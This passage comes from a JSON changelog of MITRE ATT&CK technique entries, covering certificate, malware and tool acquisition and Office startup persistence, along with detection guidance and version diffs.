malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)\\n+\\n+Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)\\n+\\n Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][4]\": {\"source_name\": \"FireEyeSupplyChain\", \"description\": \"FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.\", \"url\": \"https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop\"}, \"root['external_references'][5]\": {\"source_name\": \"Analyzing CS Dec 2020\", \"description\": \"Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.\", \"url\": \"https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/\"}, \"root['external_references'][6]\": {\"source_name\": \"Splunk Kovar Certificates 2017\", \"description\": \"Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.\", \"url\": \"https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html\"}, \"root['external_references'][7]\": {\"source_name\": \"Recorded Future Beacon Certificates\", \"description\": \"Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved October 16, 2020.\", \"url\": \"https://www.recordedfuture.com/cobalt-strike-servers/\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0004: Malware Repository (Malware Content)", "DS0004: Malware Repository (Malware Metadata)", "DS0035: Internet Scan (Response Content)", "DS0037: Certificate (Certificate Registration)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-10-01 02:11:47.237000+00:00", "modified": "2021-10-17 16:19:50.018000+00:00", "name": "Code Signing Certificates", "description": "Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "resource-development" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1588/003", "external_id": "T1588.003" }, { "source_name": "Wikipedia Code Signing", "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.", "url": "https://en.wikipedia.org/wiki/Code_signing" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Malware Repository: Malware Metadata" ], "x_mitre_detection": "Consider analyzing code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, common name, and certificate authority. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in procuring code signing certificates.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Malware Repository: Malware Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 16:19:50.018000+00:00\", \"old_value\": \"2021-04-15 03:13:16.259000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Consider analyzing code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, common name, and certificate authority. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in procuring code signing certificates.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,3 @@\\n+Consider analyzing code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, common name, and certificate authority. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in procuring code signing certificates.\\n+\\n Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0004: Malware Repository (Malware Metadata)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-10-01 02:14:18.044000+00:00", "modified": "2021-10-16 17:44:09.486000+00:00", "name": "Digital Certificates", "description": "Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.\n\nAdversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.\n\nCertificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ)\n\nAfter obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "resource-development" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1588/004", "external_id": "T1588.004" }, { "source_name": "DiginotarCompromise", "description": "Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.", "url": "https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/" }, { "source_name": "Let's Encrypt FAQ", "description": "Let's Encrypt. (2020, April 23). Let's Encrypt FAQ. Retrieved October 15, 2020.", "url": "https://letsencrypt.org/docs/faq/" }, { "source_name": "Splunk Kovar Certificates 2017", "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.", "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html" }, { "source_name": "Recorded Future Beacon Certificates", "description": "Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved October 16, 2020.", "url": "https://www.recordedfuture.com/cobalt-strike-servers/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Certificate: Certificate Registration", "Internet Scan: Response Content" ], "x_mitre_detection": "Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)\n\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.2", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Certificate: Certificate Registration\", \"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-16 17:44:09.486000+00:00\", \"old_value\": \"2021-04-15 02:32:49.507000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.\\n\\nAdversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.\\n\\nCertificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ)\\n\\nAfter obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.\", \"old_value\": \"Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.\\n\\nAdversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.\\n\\nCertificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ)\\n\\nAfter obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.\", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,6 @@\\n Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.\\n \\n-Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.\\n+Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.\\n \\n Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ)\\n \"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may buy and/or steal SSL/TLS certificates that ct1Adversaries may buy and/or steal SSL/TLS certificates that c
>an be used during targeting. SSL/TLS certificates are design>an be used during targeting. SSL/TLS certificates are design
>ed to instill trust. They include information about the key,>ed to instill trust. They include information about the key,
> information about its owner's identity, and the digital sig> information about its owner's identity, and the digital sig
>nature of an entity that has verified the certificate's cont>nature of an entity that has verified the certificate's cont
>ents are correct. If the signature is valid, and the person >ents are correct. If the signature is valid, and the person 
>examining the certificate trusts the signer, then they know >examining the certificate trusts the signer, then they know 
>they can use that key to communicate with its owner.  Advers>they can use that key to communicate with its owner.  Advers
>aries may purchase or steal SSL/TLS certificates to further >aries may purchase or steal SSL/TLS certificates to further 
>their operations, such as encrypting C2 traffic (ex: [Asymme>their operations, such as encrypting C2 traffic (ex: [Asymme
>tric Cryptography](https://attack.mitre.org/techniques/T1573>tric Cryptography](https://attack.mitre.org/techniques/T1573
>/002) with [Web Protocols](https://attack.mitre.org/techniqu>/002) with [Web Protocols](https://attack.mitre.org/techniqu
>es/T1071/001)) or even enabling [Man-in-the-Middle](https://>es/T1071/001)) or even enabling [Adversary-in-the-Middle](ht
>attack.mitre.org/techniques/T1557) if the certificate is tru>tps://attack.mitre.org/techniques/T1557) if the certificate 
>sted or otherwise added to the root of trust (i.e. [Install >is trusted or otherwise added to the root of trust (i.e. [In
>Root Certificate](https://attack.mitre.org/techniques/T1553/>stall Root Certificate](https://attack.mitre.org/techniques/
>004)). The purchase of digital certificates may be done usin>T1553/004)). The purchase of digital certificates may be don
>g a front organization or using information stolen from a pr>e using a front organization or using information stolen fro
>eviously compromised entity that allows the adversary to val>m a previously compromised entity that allows the adversary 
>idate to a certificate provider as that entity. Adversaries >to validate to a certificate provider as that entity. Advers
>may also steal certificate materials directly from a comprom>aries may also steal certificate materials directly from a c
>ised third-party, including from certificate authorities.(Ci>ompromised third-party, including from certificate authoriti
>tation: DiginotarCompromise) Adversaries may register or hij>es.(Citation: DiginotarCompromise) Adversaries may register 
>ack domains that they will later purchase an SSL/TLS certifi>or hijack domains that they will later purchase an SSL/TLS c
>cate for.  Certificate authorities exist that allow adversar>ertificate for.  Certificate authorities exist that allow ad
>ies to acquire SSL/TLS certificates, such as domain validati>versaries to acquire SSL/TLS certificates, such as domain va
>on certificates, for free.(Citation: Let's Encrypt FAQ)  Aft>lidation certificates, for free.(Citation: Let's Encrypt FAQ
>er obtaining a digital certificate, an adversary may then in>)  After obtaining a digital certificate, an adversary may t
>stall that certificate (see [Install Digital Certificate](ht>hen install that certificate (see [Install Digital Certifica
>tps://attack.mitre.org/techniques/T1608/003)) on infrastruct>te](https://attack.mitre.org/techniques/T1608/003)) on infra
>ure under their control.>structure under their control.
", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0035: Internet Scan (Response Content)", "DS0037: Certificate (Certificate Registration)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-10-01 02:06:11.499000+00:00", "modified": "2021-10-17 16:15:52.805000+00:00", "name": "Malware", "description": "Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.\n\nIn addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "resource-development" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1588/001", "external_id": "T1588.001" }, { "source_name": "FireEyeSupplyChain", "description": "FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.", "url": "https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Malware Repository: Malware Metadata", "Malware Repository: Malware Content" ], "x_mitre_detection": "Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Malware Repository: Malware Metadata\", \"Malware Repository: Malware Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 16:15:52.805000+00:00\", \"old_value\": \"2021-04-15 03:14:41.582000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,3 @@\\n+Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain)\\n+\\n Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"FireEyeSupplyChain\", \"description\": \"FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.\", \"url\": \"https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0004: Malware Repository (Malware Content)", "DS0004: Malware Repository (Malware Metadata)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-10-01 02:08:33.977000+00:00", "modified": "2021-10-17 16:17:55.499000+00:00", "name": "Tool", "description": "Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019)\n\nAdversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "resource-development" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1588/002", "external_id": "T1588.002" }, { "source_name": "Recorded Future Beacon 2019", "description": "Recorded Future. (2019, June 20). Out of the Blue: How Recorded Future Identified Rogue Cobalt Strike Servers. Retrieved October 16, 2020.", "url": "https://www.recordedfuture.com/identifying-cobalt-strike-servers/" }, { "source_name": "Analyzing CS Dec 2020", "description": "Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.", "url": "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "SOCCRATES", "Mnemonic AS" ], "x_mitre_data_sources": [ "Malware Repository: Malware Metadata" ], "x_mitre_detection": "In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"SOCCRATES\", \"Mnemonic AS\"], \"root['x_mitre_data_sources']\": [\"Malware Repository: Malware Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 16:17:55.499000+00:00\", \"old_value\": \"2021-04-15 03:15:20.491000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,3 @@\\n+In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)\\n+\\n Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"Analyzing CS Dec 2020\", \"description\": \"Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.\", \"url\": \"https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0004: Malware Repository (Malware Metadata)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-12-14 16:46:06.044000+00:00", "modified": "2021-10-15 20:18:31.112000+00:00", "name": "Office Application Startup", "description": "Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.\n\nA variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "persistence" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1137", "external_id": "T1137" }, { "source_name": "SensePost Ruler GitHub", "description": "SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.", "url": "https://github.com/sensepost/ruler" }, { "source_name": "TechNet O365 Outlook Rules", "description": "Koeller, B.. (2018, February 21). Defending Against Rules and Forms Injection. Retrieved November 5, 2019.", "url": "https://blogs.technet.microsoft.com/office365security/defending-against-rules-and-forms-injection/" }, { "source_name": "CrowdStrike Outlook Forms", "description": "Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.", "url": "https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746" }, { "source_name": "Outlook Today Home Page", "description": "Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.", "url": "https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943" }, { "source_name": "Microsoft Detect Outlook Forms", "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.", "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack" }, { "source_name": "SensePost NotRuler", "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.", "url": "https://github.com/sensepost/notruler" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Nick Carr, Mandiant", "Microsoft Threat Intelligence Center (MSTIC)", "Sahar Shukrun", "Praetorian", "Loic Jaquemet", "Ricardo Dias" ], "x_mitre_data_sources": [ "Process: Process Creation", "Command: Command Execution", "Windows Registry: Windows Registry Key Creation", "Windows Registry: Windows Registry Key Modification", "File: File Creation", "File: File Modification", "Module: Module Load", "Application 